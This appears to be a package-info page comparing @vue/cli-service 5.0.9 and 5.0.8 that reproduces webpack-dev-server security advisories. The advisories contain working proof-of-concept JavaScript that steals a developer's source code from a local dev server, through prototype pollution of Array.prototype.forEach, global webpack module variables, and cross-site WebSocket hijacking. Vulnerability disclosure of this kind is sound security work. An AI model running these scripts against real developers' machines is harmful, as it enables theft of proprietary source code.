@vue/cli-service versions 5.0.9 and 5.0.8 offer local development services for Vue CLI projects, streamlining the build process and enhancing developer experience, however, there are changes between the versions. Version 5.0.9 includes an updated dependency: "@vue/cli-overlay": "^5.0.9", while 5.0.8 uses "@vue/cli-overlay": "^5.0.8", this suggests a specific fix or feature enhancement within the Vue CLI overlay component, related to how errors and warnings are displayed during development. This can lead to improved debugging. Further, the release date for 5.0.9 is in the future: "2025-08-21T10:57:07.387Z", which seems like an anomaly.
Both versions share a wide array of dependencies crucial for modern Vue development, including webpack for bundling, vue-loader for component handling, and tools for CSS processing like css-loader, postcss-loader, and mini-css-extract-plugin. They also incorporate helpful utilities such as address for network information, portfinder for managing ports, and friendly-errors-webpack-plugin for cleaner error messages. Developers can leverage these versions, noting the subtle difference in @vue/cli-overlay, for building robust Vue applications with features like hot reloading, optimized builds, and pre-configured development environments. For developers already on 5.0.8, upgrading to 5.0.9 is likely beneficial due to potential fixes and improvements in the error display, but the release date should be validated.
All the vulnerabilities related to the version 5.0.9 of the package
webpack-dev-server users' source code may be stolen when they access a malicious web site
Source code may be stolen when you access a malicious web site.
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js">
in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString
against the values in __webpack_modules__
, the attacker can get the source code.
npm i
npx webpack-dev-server
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire
.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach
is called for __webpack_require__.i
and execOptions
contains __webpack_require__
.
It uses prototype pollution against Array::forEach
to extract __webpack_require__
reference.
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Source code may be stolen when you use output.iife: false
and access a malicious web site.
When output.iife: false
is set, some global variables for the webpack runtime are declared on the window
object (e.g. __webpack_modules__
).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js">
in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window
object.
By using Function::toString
against the values in __webpack_modules__
, the attacker can get the source code.
I pointed out output.iife: false
, but if there are other options that makes the webpack runtime variables to be declared on the window
object, the same will apply for those cases.
npm i
npx webpack-dev-server
https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
src/index.js
and other scripts loaded.The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
This vulnerability can result in the source code to be stolen for users that has output.iife: false
option set and uses a predictable port and output path for the entrypoint script.
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
The Origin
header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin
headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost
function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
npm i
npx webpack-dev-server
http://{ipaddress}/?target=http://localhost:8080&file=main
with a non-Chromium browser (I used Firefox 134.0.1)src/index.js
in the extracted directorysrc/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.